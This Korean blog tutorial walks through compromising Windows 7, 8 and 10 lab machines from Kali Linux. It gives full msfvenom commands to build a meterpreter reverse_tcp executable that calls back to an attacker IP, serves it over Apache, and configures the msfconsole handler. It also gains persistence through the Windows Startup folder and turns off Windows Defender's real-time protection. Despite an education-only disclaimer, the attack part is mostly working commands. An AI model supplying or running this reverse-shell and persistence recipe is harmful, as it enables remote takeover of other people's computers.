본문 바로가기

전공 공부/리눅스 보안 실습

칼리 리눅스 윈도우7, 8, 10 해킹(2) - Msfvenom http_revers

728x90

 

들어가기 전에..

 

한 번씩 들어가서 읽어 주시기 바랍니다.

 

https://epicarts.tistory.com/36?category=816457

 

http://easylaw.go.kr/CSP/CnpClsMain.laf?popMenu=ov&csmSeq=692&ccfNo=3&cciNo=1&cnpClsNo=2

 

전자금융범죄 > 전자금융범죄의 처벌 > 전자금융범죄에 대한 처벌 > 해킹 및 악성프로그램 유포에 대한 처벌 (본문) | 찾기쉬운 생활법령정보

해킹, 컴퓨터 바이러스, 전자적 침해행위, 악성프로그램, 「전자금융거래법」, 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」

easylaw.go.kr

이 글은 교육목적으로 작성하는 것으로 절대 타인의 컴퓨터에 공격을 해서는 안됩니다.

범죄 행위이고 처벌을 받을 수 있습니다.

모든 해킹 행위는 자기 자신에게 책임이 있습니다.

 

제 블로그는 불법적인 해킹 행위를 권장하거나 유도하지 않습니다. 오로지 테스트 및 연습 목적으로 읽어주시면 감사하겠습니다.

 

 

악성코드 생성

 

 

/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.132 -f exe -o reverse_tcp_payload.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=공격자 ip -f 파일 포맷 -o reverse_tcp_payload.exe

 

p 옵션에 windows/meterpreter/reverse_tcp 부분에 대한 설명은 msfvenom l -p 명령어를 통해 볼 수 있습니다.

 

거꾸로 공격하는 사람으로 연결하고 meterpreter shell 결과를 낸다. 

 

즉, 다운로드한 윈도우에서 저 쉘을 실행하면, 역으로 공격자에게 연결을 하며 공격자를 meterpreter shell을 통해 접근할 수 있게 해 줍니다.

 

이제 생성된 reverse_tcp_payload.exe 파일을 윈도우에서 다운로드하여 보겠습니다.

 

 

일단 외부에서 생성된 파일을 다운로드할 수 있게 웹사이트를 통해서 배포해 보도록 하겠습니다.

service apache2 start

apace2 웹서버를 실행시켜 줍니다.

 

 

mkdir /var/www/html/share
mv reverse_tcp_payload.exe /var/www/html/share/

아파치 서버에서 사용하는 폴더에 share 폴더를 생성해 준 다음, 현재 만들어진 페이로드 파일을 옮겨 주었습니다.

 

 

 

 

 

웹브라우저 URL 입력: 192.168.196.132/share

칼리 리눅스 ip 주소와 생성해둔 share폴더로 접속을 하면 서버에 올려놓은 파일을 볼 수 있습니다.

 

 

이제 실습용으로 미리 설치해둔 윈도우 7에 파일을 다운로드하여 주겠습니다.

 

 

이제 칼리로 돌아가서 msfconsole을 실행시켜 줍니다.

 

 

msfconsole
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.196.132
set ExitOnSession false
exploit -j

msfconsole을 켭니다.

handler를 사용할 건데, payload를 아까 만든 reverse_tcp로 세팅하고, 공격자 아이피(칼리 리눅스)로 LHOST를 세팅해 줍니다. 

백그라운드로 동작을 하기 위해 ExitOnSession을 false로 해준 다음 exploit을 실행시키는데 -j 옵션을 주어 백그라운드에서 실행되게 합니다.

 

 

 

실행할 때 관리자 권한으로 실행시켜 줍니다.

 

 

이제 윈도우에서 받은 파일을 실행시키면 칼리 리눅스 서버로 세션이 연결된 것을 확인할 수 있습니다.

 

 

 

이 세션으로 접속하기 위해서 

sessions -l 명령어를 통해 현재 서버에 접속이 되어 있는 세션을 확인할 수 있고, 

sessions -i 1 명령어를 통해 interaction 모드로 접속하여 서로 상호 작용을 할 수 있습니다.(sessions -i 접속된 id숫자)

 

 

help를 치면 사용할 수 있는 msf5 명령어(commands)들을 확인할 수 있습니다.

 

이제 여려 명령어를 통해 상대방에 컴퓨터를 컨트롤할 수 있게 됩니다.

 

 

하지만 상대가 컴퓨터를 재부팅하면 저희가 만든 실행파일도 꺼지게 됩니다.

 

이를 위해 윈도우가 실행되었을 때, 자동으로 실행파일이 실행될 수 있게 조치해 주어야 합니다.

윈도우에 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

이 경로에 파일을 넣어놓으면 컴퓨터가 재부팅될 시 자동으로 프로그램이 실행됩니다.

 

이를 이용하여 저희가 만든 실행파일을 옮겨줍니다.

 

cp 명령어를 이용하여 기존에 파일을 해당 위치로 복사해 줍니다.

 

성공적으로 파일이 복사된 것을 확인할 수 있습니다.

 

 

이제 성공적으로 프로그램이 실행되는지 확인을 위해 재부팅을 해봅시다.

 

 

 

윈도우 로그인 시 자동으로 칼리 리눅스 서버로 접속이 되는 것을 확인할 수 있습니다.

 

 

이제 윈도우 8도 이어서 해보겠습니다.

 

 

 

마찬가지로 파일을 다운로드한 다음...

 

 

실행시키면 칼리 리눅스에 성공적으로 접속되는 것을 볼 수 있습니다.

 

또한 실행파일을 복사하여 시작프로그램으로 파일을 이동시켜 놓으면 재부팅을 해도 자동으로 리눅스 서버에 접속이 되게 됩니다.

 

 

 

이제 윈도우 10에서도 파일을 다운로드하여서 해보겠습니다.

 

윈도우 10부터는 파일을 다운로드하기도 전에 Windwos Defender에 의해서 차단이 됩니다.

 

 

 

일부러 보안에 취약하게 만들기 위해 실시간 보호/클라우드 전송 보호/자동 샘플 전송 기능을 꺼주었습니다.

 

 

이제 다운로드를 한 뒤 실행을 시키면 PC가 위험에 노출될 수 있다고 뜨나 실행시켜 줍니다.

 

 

 

실행을 하면 칼리 리눅스 서버로 접속된 것을 확인할 수 있으며, 윈도우 8과 마찬가지로 keyboard 값을 보내면 메모장 키보드를 보낼 수 있습니다.

 

같은 방법으로 파일을 시작 프로그램으로 이동을 한 뒤 재부팅을 했으나, 윈도우 10에서는 실시간 보호 항목이 계속 켜지면서 자동으로 차단이 됩니다.

 

728x90